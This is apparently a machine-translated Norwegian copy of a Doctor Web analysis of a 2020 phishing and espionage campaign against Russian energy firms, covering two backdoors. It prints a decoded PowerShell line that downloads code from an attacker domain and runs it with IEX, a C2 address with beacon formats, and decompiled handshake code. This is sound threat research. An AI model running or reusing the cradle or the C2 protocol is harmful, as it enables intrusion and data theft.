Vi etterforsker et målrettet spionangrep på det russiske drivstoff- og energikomplekset

Vi etterforsker et målrettet spionangrep på det russiske drivstoff- og energikomplekset

Vår erfaring med å undersøke datasikkerhetshendelser viser at e-post fortsatt er en av de vanligste kanalene som brukes av angripere for å begynne å trenge gjennom angrepet nettverksinfrastruktur. Én uforsiktig handling med et mistenkelig (eller ikke så mistenkelig) brev blir et inngangspunkt for videre smitte, og det er grunnen til at nettkriminelle aktivt bruker sosiale ingeniørmetoder, om enn med ulik grad av suksess.

I dette innlegget ønsker vi å snakke om vår nylige undersøkelse av en spamkampanje rettet mot en rekke bedrifter i det russiske drivstoff- og energikomplekset. Alle angrep fulgte samme scenario med falske e-poster, og ingen så ut til å ha lagt mye arbeid i tekstinnholdet i disse e-postene.

Etterretningstjeneste

Det hele startet i slutten av april 2020, da Doctor Web-virusanalytikere oppdaget en spamkampanje der hackere sendte en oppdatert telefonkatalog til ansatte i en rekke bedrifter i det russiske drivstoff- og energikomplekset. Dette var selvfølgelig ikke en enkel bekymring, siden katalogen ikke var ekte, og .docx-dokumentene lastet ned to bilder fra eksterne ressurser.

En av dem ble lastet ned til brukerens datamaskin fra news[.]zannews[.]com-serveren. Det er bemerkelsesverdig at domenenavnet ligner domenet til anti-korrupsjonsmediesenteret i Kasakhstan - zannews[.]kz. På den annen side minnet domenet som ble brukt umiddelbart om en annen 2015-kampanje kjent som TOPNEWS, som brukte en ICEFOG-bakdør og hadde trojanske kontrolldomener med understrengen "nyheter" i navnene deres. En annen interessant funksjon var at når du sendte e-post til forskjellige mottakere, brukte forespørsler om å laste ned et bilde enten forskjellige forespørselsparametere eller unike bildenavn.

Vi mener at dette ble gjort med det formål å samle informasjon for å identifisere en "pålitelig" adressat, som da garantert ville åpne brevet til rett tid. SMB-protokollen ble brukt til å laste ned bildet fra den andre serveren, noe som kunne gjøres for å samle NetNTLM-hasher fra datamaskinene til ansatte som åpnet det mottatte dokumentet.

Og her er selve brevet med den falske katalogen:

Vi etterforsker et målrettet spionangrep på det russiske drivstoff- og energikomplekset

I juni i år begynte hackere å bruke et nytt domenenavn, sports[.]manhajnews[.]com, for å laste opp bilder. Analysen viste at manhajnews[.]com-underdomener har blitt brukt i spam-utsendelser siden minst september 2019. Et av målene for denne kampanjen var et stort russisk universitet.

I juni kom også arrangørene av angrepet med en ny tekst til brevene sine: denne gangen inneholdt dokumentet informasjon om industriutvikling. Teksten i brevet indikerte tydelig at forfatteren enten ikke var russisk som morsmål, eller at han bevisst skapte et slikt inntrykk av seg selv. Dessverre viste ideene om bransjeutvikling seg, som alltid, å bare være et omslag – dokumentet lastet ned igjen to bilder, mens serveren ble endret til å laste ned[.]inklingpaper[.]com.

Den neste innovasjonen fulgte i juli. I et forsøk på å omgå oppdagelsen av ondsinnede dokumenter av antivirusprogrammer, begynte angripere å bruke Microsoft Word-dokumenter kryptert med et passord. Samtidig bestemte angriperne seg for å bruke en klassisk sosial ingeniørteknikk – belønningsvarsel.

Vi etterforsker et målrettet spionangrep på det russiske drivstoff- og energikomplekset

Anketeksten ble igjen skrevet i samme stil, noe som vakte ytterligere mistanke blant adressaten. Serveren for å laste ned bildet endret seg heller ikke.

Merk at i alle tilfeller ble elektroniske postbokser registrert på domenene mail[.]ru og yandex[.]ru brukt til å sende brev.

angrep

I begynnelsen av september 2020 var det tid for handling. Våre virusanalytikere registrerte en ny bølge av angrep, der angripere igjen sendte brev under påskudd av å oppdatere en telefonkatalog. Denne gangen inneholdt imidlertid vedlegget en ondsinnet makro.

Når du åpnet det vedlagte dokumentet, opprettet makroen to filer:

  • VBS-skript %APPDATA%microsoftwindowsstart menuprogramsstartupadoba.vbs, som var ment å starte en batchfil;
  • Selve batchfilen %APPDATA%configstest.bat, som ble tilslørt.

Vi etterforsker et målrettet spionangrep på det russiske drivstoff- og energikomplekset

Essensen av arbeidet kommer ned til å lansere Powershell-skallet med visse parametere. Parametrene som sendes til skallet, dekodes til kommandoer:

$o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221"));$o.Open("GET", "http://newsinfo.newss.nl/nissenlist/johnlists.html", $False);$o.Send(); IEX $o.responseText;

Som følger av kommandoene presentert, er domenet som nyttelasten lastes ned fra igjen forkledd som et nyhetsnettsted. En enkel laster, hvis eneste oppgave er å motta shellcode fra kommando- og kontrollserveren og utføre den. Vi var i stand til å identifisere to typer bakdører som kan installeres på offerets PC.

Bakdør.Siggen2.3238

Den første er Bakdør.Siggen2.3238 — spesialistene våre hadde ikke møtt før, og det var heller ingen omtale av dette programmet fra andre antivirusleverandører.

Dette programmet er en bakdør skrevet i C++ og kjører på 32-biters Windows-operativsystemer.

Bakdør.Siggen2.3238 er i stand til å kommunisere med administrasjonsserveren ved hjelp av to protokoller: HTTP og HTTPS. Den testede prøven bruker HTTPS-protokollen. Følgende brukeragent brukes i forespørsler til serveren:

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SE)

I dette tilfellet leveres alle forespørsler med følgende sett med parametere:

%s;type=%s;length=%s;realdata=%send

hvor hver linje %s er tilsvarende erstattet av:

  • ID for den infiserte datamaskinen,
  • type forespørsel som sendes,
  • lengden på data i realdatafeltet,
  • data.

På stadiet for å samle informasjon om det infiserte systemet, genererer bakdøren en linje som:

lan=%s;cmpname=%s;username=%s;version=%s;

der lan er IP-adressen til den infiserte datamaskinen, cmpname er datamaskinnavnet, brukernavn er brukernavnet, versjon er linjen 0.0.4.03.

Denne informasjonen med sysinfo-identifikatoren sendes via en POST-forespørsel til kontrollserveren som ligger på https[:]//31.214[.]157.14/log.txt. Hvis som svar Bakdør.Siggen2.3238 mottar HEART-signalet, anses tilkoblingen som vellykket, og bakdøren starter hovedsyklusen for kommunikasjon med serveren.

Mer fullstendig beskrivelse av driftsprinsipper Bakdør.Siggen2.3238 er i vår virusbibliotek.

Bakdør.Whitebird.23

Det andre programmet er en modifikasjon av BackDoor.Whitebird-bakdøren, som allerede er kjent for oss fra hendelsen med et myndighetsorgan i Kasakhstan. Denne versjonen er skrevet i C++ og er designet for å kjøre på både 32-biters og 64-biters Windows-operativsystemer.

Som de fleste programmer av denne typen, Bakdør.Whitebird.23 designet for å etablere en kryptert forbindelse med kontrollserveren og uautorisert kontroll av en infisert datamaskin. Installert i et kompromittert system ved hjelp av en dropper Bakdør.Siggen2.3244.

Prøven vi undersøkte var et ondsinnet bibliotek med to eksporter:

  • Google Play
  • Test.

I begynnelsen av arbeidet dekrypterer den konfigurasjonen som er koblet til bakdøren ved hjelp av en algoritme basert på XOR-operasjonen med byte 0x99. Konfigurasjonen ser slik ut:


struct st_cfg
{
  _DWORD dword0;
  wchar_t campaign[64];
  wchar_t cnc_addr[256];
  _DWORD cnc_port;
  wchar_t cnc_addr2[100];
  wchar_t cnc_addr3[100];
  _BYTE working_hours[1440];
  wchar_t proxy_domain[50];
  _DWORD proxy_port;
  _DWORD proxy_type;
  _DWORD use_proxy;
  _BYTE proxy_login[50];
  _BYTE proxy_password[50];
  _BYTE gapa8c[256];
}; 

For å sikre konstant drift endrer bakdøren verdien spesifisert i feltet arbeidstid konfigurasjoner. Feltet inneholder 1440 byte, som tar verdiene 0 eller 1 og representerer hvert minutt av hver time i døgnet. Oppretter en egen tråd for hvert nettverksgrensesnitt som lytter til grensesnittet og ser etter autorisasjonspakker på proxy-serveren fra den infiserte datamaskinen. Når en slik pakke oppdages, legger bakdøren til informasjon om proxy-serveren til listen sin. I tillegg sjekker for tilstedeværelsen av en proxy via WinAPI InternetQueryOptionW.

Programmet sjekker gjeldende minutt og time og sammenligner det med dataene i feltet arbeidstid konfigurasjoner. Hvis verdien for det tilsvarende minuttet på dagen ikke er null, opprettes en forbindelse med kontrollserveren.

Etablering av en tilkobling til serveren simulerer opprettelsen av en tilkobling ved hjelp av TLS versjon 1.0-protokollen mellom klienten og serveren. Bakdørens kropp inneholder to buffere.

Den første bufferen inneholder TLS 1.0 Client Hello-pakken.

Vi etterforsker et målrettet spionangrep på det russiske drivstoff- og energikomplekset

Den andre bufferen inneholder TLS 1.0 Client Key Exchange-pakker med en nøkkellengde på 0x100 byte, Change Cipher Spec, Encrypted Handshake Message.

Vi etterforsker et målrettet spionangrep på det russiske drivstoff- og energikomplekset

Når du sender en Client Hello-pakke, skriver bakdøren 4 byte av gjeldende tid og 28 byte med pseudo-tilfeldige data i Client Random-feltet, beregnet som følger:


v3 = time(0);
t = (v3 >> 8 >> 16) + ((((((unsigned __int8)v3 << 8) + BYTE1(v3)) << 8) + BYTE2(v3)) << 8);
for ( i = 0; i < 28; i += 4 )
  *(_DWORD *)&clientrnd[i] = t + *(_DWORD *)&cnc_addr[i / 4];
for ( j = 0; j < 28; ++j )
  clientrnd[j] ^= 7 * (_BYTE)j;

Den mottatte pakken sendes til kontrollserveren. Svaret (Server Hello-pakke) sjekker:

  • samsvar med TLS-protokoll versjon 1.0;
  • korrespondanse av tidsstemplet (de første 4 bytene i feltet tilfeldig data) spesifisert av klienten til tidsstemplet spesifisert av serveren;
  • samsvar med de første 4 bytene etter tidsstemplet i feltet Random Data for klienten og serveren.

I tilfelle de spesifiserte kampene, forbereder bakdøren en klientnøkkelutvekslingspakke. For å gjøre dette, modifiserer den den offentlige nøkkelen i Client Key Exchange-pakken, så vel som Encryption IV og Encryption Data i Encrypted Handshake Message-pakken.

Bakdøren mottar deretter pakken fra kommando- og kontrollserveren, sjekker at TLS-protokollversjonen er 1.0, og godtar deretter ytterligere 54 byte (kroppen til pakken). Dette fullfører tilkoblingsoppsettet.

Mer fullstendig beskrivelse av driftsprinsipper Bakdør.Whitebird.23 er i vår virusbibliotek.

Konklusjon og konklusjoner

Analyse av dokumenter, skadelig programvare og infrastrukturen som brukes, lar oss med sikkerhet si at angrepet ble forberedt av en av de kinesiske APT-gruppene. Med tanke på funksjonaliteten til bakdører som er installert på ofrenes datamaskiner i tilfelle et vellykket angrep, fører infeksjon i det minste til tyveri av konfidensiell informasjon fra datamaskinene til angrepne organisasjoner.

I tillegg er et svært sannsynlig scenario installasjon av spesialiserte trojanere på lokale servere med en spesiell funksjon. Dette kan være domenekontrollere, e-postservere, Internett-gatewayer osv. Som vi kunne se i eksempelet hendelse i Kasakhstan, er slike servere av spesiell interesse for angripere av ulike årsaker.

Kilde: www.habr.com

Legg til en kommentar